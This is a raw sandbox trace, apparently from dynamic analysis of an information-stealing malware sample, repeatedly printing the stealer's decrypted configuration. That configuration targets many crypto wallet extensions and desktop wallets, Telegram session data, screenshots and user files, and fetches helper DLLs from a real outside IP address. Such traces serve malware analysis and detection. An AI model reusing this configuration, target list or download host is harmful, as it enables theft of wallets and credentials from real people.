Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.226] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.227] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6ef5a0 [0266.227] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.227] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f1ee8 [0266.227] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.227] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f4830 [0266.227] lstrlenW 